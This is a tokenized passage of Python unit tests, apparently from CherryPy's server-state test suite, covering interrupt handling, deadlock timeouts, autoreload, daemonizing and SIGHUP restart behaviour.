"OK", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "No", "Header_", "(_", "\"", "Connect", "ion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cherrypy_", "._", "server_", "._", "https", "erver_", "._", "interrupt", "_", "=_", "Key", "board", "Interrupt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "engine_", "._", "block_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "state_", ",_", "engine_", "._", "states_", "._", "EXIT", "ING_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "persistent_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Rai", "se", " ", "a", " ", "keyb", "oard", " ", "interrupt", " ", "in", " ", "a", " ", "page", " ", "handler", ";", " ", "on", " ", "multit", "hread", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "server", "s", ",", " ", "this", " ", "shou", "ld", " ", "occur", " ", "in", " ", "one", " ", "of", " ", "the", " ", "worker", " ", "thread", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "shou", "ld", " ", "raise", " ", "a", " ", "Ba", "d", "Status", "Line", " ", "error", ",", " ", "sinc", "e", " ", "the", " ", "worker_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "thread", " ", "will", " ", "just", " ", "die", " ", "with", "out", " ", "writ", "ing", " ", "a", " ", "response", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "engine_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cherrypy_", "._", "server_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "ctrl", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Ba", "d", "Status", "Line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "self_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "Assert", "ion", "Error", ":", " ", "Ba", "d", "Status", "Line", " ", "not", " ", "raise", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "engine_", "._", "block_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "db", "\\u", "connection_", "._", "running_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "db", "\\u", "connection_", "._", "threads_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "3", "\\u", "Dead", "locks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cherrypy_", "._", "config_", "._", "update_", "(_", "{_", "'", "response", ".", "timeo", "ut", "'_", ":_", "0.2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "engine_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cherrypy_", "._", "server_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Not", "Equal_", "(_", "engine_", "._", "timeo", "ut", "\\u", "monitor_", "._", "thread_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Request", " ", "a", " ", "\"", "normal", "\"", " ", "page", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "engine_", "._", "timeo", "ut", "\\u", "monitor_", "._", "serving", "s_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "Hell", "o", " ", "Wor", "ld", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "request", ".", "close", " ", "is", " ", "call", "ed", " ", "async", "._", "\\u\\u\\uNL\\u\\u\\u_", "while_", "engine_", "._", "timeo", "ut", "\\u", "monitor_", "._", "serving", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "write_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Request", " ", "a", " ", "page", " ", "tha", "t", " ", "explicit", "ly", " ", "checks", " ", "its", "elf", " ", "for", " ", "deadl", "ock", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "deadl", "ock", "\\u", "timeo", "ut", " ", "shou", "ld", " ", "be", " ", "2", " ", "secs", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/", "block", "\\u", "explicit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Body_", "(_", "\"", "broken", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Request", " ", "a", " ", "page", " ", "tha", "t", " ", "implicit", "ly", " ", "breaks", " ", "deadl", "ock", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "deadl", "ock", ",", " ", "we", " ", "want", " ", "to", " ", "touch", " ", "as", " ", "litt", "le", " ", "code", " ", "as", " ", "possib", "le", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "we", " ", "won", "'", "t", " ", "even", " ", "call", " ", "handle", "\\u", "error", ",", " ", "just", " ", "bai", "l", " ", "AS", "AP", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/", "block", "\\u", "implicit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status_", "(_", "500_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In", "Body_", "(_", "\"", "raise", " ", "cherr", "yp", "y", ".", "Time", "out", "Error", "()\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "engine_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "4", "\\u", "Auto", "reload_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Start", " ", "the", " ", "demo", " ", "script", " ", "in", " ", "a", " ", "new", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "4", "\\u", "Auto", "relo", "ad", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "start", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "float_", "(_", "self_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Give", " ", "the", " ", "autore", "load", "er", " ", "time", " ", "to", " ", "cache", " ", "the", " ", "file", " ", "time", "._", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tou", "ch", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "utime", "_", "(_", "os_", "._", "path_", "._", "join_", "(_", "this", "dir_", ",_", "\"\\u", "test\\u", "state", "s", "\\u", "demo", ".", "py", "\"_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Give", " ", "the", " ", "autore", "load", "er", " ", "time", " ", "to", " ", "re", "-", "exec", " ", "the", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "cherrypy_", "._", "server_", "._", "socket", "\\u", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "cherrypy_", "._", "server_", "._", "socket", "\\u", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cherrypy_", "._", "\\u", "cps", "erver_", "._", "wait", "\\u", "for", "\\u", "occupied", "\\u", "port_", "(_", "host_", ",_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/", "start", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "(_", "float_", "(_", "self_", "._", "body_", ")_", ">_", "start_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Assert", "ion", "Error_", "(_", "\"", "start", " ", "time", " ", "%", "s", " ", "not", " ", "great", "er", " ", "than", " ", "%", "s", "\"_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "float_", "(_", "self_", "._", "body_", ")_", ",_", "start_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Shut", " ", "down", " ", "the", " ", "spawne", "d", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "exit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Server", "State", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "5", "\\u", "Start", "\\u", "Error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "process", " ", "error", "s", " ", "dur", "ing", " ", "start", ",", " ", "it", " ", "shou", "ld", " ", "stop", " ", "the", " ", "engine_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "exit", " ", "with", " ", "a", " ", "non", "-", "zero", " ", "exit", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "\"\"\"", "starter", "ror", ":", " ", "Tru", "e", "\\", "10", ";", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "5", "\\u", "Start", "\\u", "Error", "\"", "\\", "10", ";\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "exit", "\\u", "code_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Process", " ", "fail", "ed", " ", "to", " ", "return", " ", "nonzero", " ", "exit", " ", "code", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Plug", "in", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Plug", "in", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "daemon", "ize_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "name_", "not_", "in_", "[_", "'", "posix", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "not", " ", "on", " ", "posix", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "HOST_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "PORT_", "=_", "808", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Spawn", " ", "the", " ", "process", " ", "and", " ", "wait", ",", " ", "whe", "n", " ", "this", " ", "return", "s", ",", " ", "the", " ", "original", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "finish", "ed", ".", " ", " ", "If", " ", "it", " ", "daemon", "ize", "d", " ", "proper", "ly", ",", " ", "we", " ", "shou", "ld", " ", "still", " ", "be", " ", "able_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "access", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "True_", ",_", "daemon", "ize_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "socket", "\\u", "host_", "=_", "'", "127", ".0", ".0", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "socket", "\\u", "port_", "=_", "808", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "daemon", "ize", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ju", "st", " ", "get", " ", "the", " ", "pid", " ", "of", " ", "the", " ", "daemon", "izatio", "n", " ", "process", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "pid", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "pid_", "=_", "int_", "(_", "self_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "page", "\\u", "pid_", ",_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Shut", " ", "down", " ", "the", " ", "spawne", "d", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "get", "Page_", "(_", "\"/", "exit", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Wait", " ", "unti", "l", " ", "here", " ", "to", " ", "test", " ", "the", " ", "exit", " ", "code", " ", "bec", "aus", "e", " ", "we", " ", "want", " ", "to", " ", "ensure", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "we", " ", "wait", " ", "for", " ", "the", " ", "daemon", " ", "to", " ", "finish", " ", "runn", "ing", " ", "bef", "ore", " ", "we", " ", "fail", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "p_", "._", "exit", "\\u", "code_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Da", "emo", "niz", "ed", " ", "parent", " ", "process", " ", "fail", "ed", " ", "to", " ", "exit", " ", "clean", "ly", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Signal", "Hand", "ling", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Signal", "Hand", "ling", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "SIG", "HU", "P", "\\u", "tty_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Whe", "n", " ", "not", " ", "daemon", "ize", "d", ",", " ", "SIG", "HU", "P", " ", "shou", "ld", " ", "shut", " ", "down", " ", "the", " ", "server", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "signal_", "import_", "SIG", "HU", "P_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "SIG", "HU", "P", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Spawn", " ", "the", " ", "process", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "SIG", "HU", "P", "\\u", "tt", "y", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sen", "d", " ", "a", " ", "SIG", "HU", "P_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "kill_", "(_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", ",_", "SIG", "HU", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "mig", "ht", " ", "hang", " ", "if", " ", "thing", "s", " ", "are", "n", "'", "t", " ", "working", " ", "right", ",", " ", "but", " ", "me", "h", "._", "\\u\\u\\uNL\\u\\u\\u_", "p_", "._", "join_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Signal", "Hand", "ling", "Tests_", "(_", "helper_", "._", "CP", "Web", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "SIG", "HU", "P", "\\u", "daemon", "ized_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Whe", "n", " ", "daemon", "ize", "d", ",", " ", "SIG", "HU", "P", " ", "shou", "ld", " ", "restart", " ", "the", " ", "server", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "signal_", "import_", "SIG", "HU", "P_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "no", " ", "SIG", "HU", "P", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "os_", "._", "name_", "not_", "in_", "[_", "'", "posix", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "skip_", "(_", "\"", "skip", "ped", " ", "(", "not", " ", "on", " ", "posix", ")", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Spawn", " ", "the", " ", "process", " ", "and", " ", "wait", ",", " ", "whe", "n", " ", "this", " ", "return", "s", ",", " ", "the", " ", "original", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "finish", "ed", ".", " ", " ", "If", " ", "it", " ", "daemon", "ize", "d", " ", "proper", "ly", ",", " ", "we", " ", "shou", "ld", " ", "still", " ", "be", " ", "able_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "access", " ", "page", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "helper_", "._", "CPP", "rocess", "_", "(_", "ssl_", "=_", "(_", "self_", "._", "scheme_", "._", "lower_", "(_", ")_", "==_", "'", "https", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wait_", "=_", "True_", ",_", "daemon", "ize_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "write", "\\u", "conf_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "extra_", "=_", "'", "test\\u", "case", "\\u", "name", ":", " ", "\"", "test\\u", "SIG", "HU", "P", "\\u", "daemon", "ize", "d", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "start_", "(_", "imports_", "=_", "'", "cherr", "yp", "y", ".", "test", ".\\u", "test\\u", "state", "s", "\\u", "demo", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pid_", "=_", "p_", "._", "get", "\\u", "pid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sen", "d", " ", "a", " ", "SIG", "HU", "P_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "kill_", "(_", "pid_", ",_", "SIG", "HU", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Give", " ", "the", " ", "server", " ", "some", " ", "time", " ", "to", " ", "restart_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "get", "Page_", "(_", "\"/", "pid", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Status_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "pid_", "=_", "int_", "(_", "self_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "new", "\\u", "pid_", ",_", "pid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 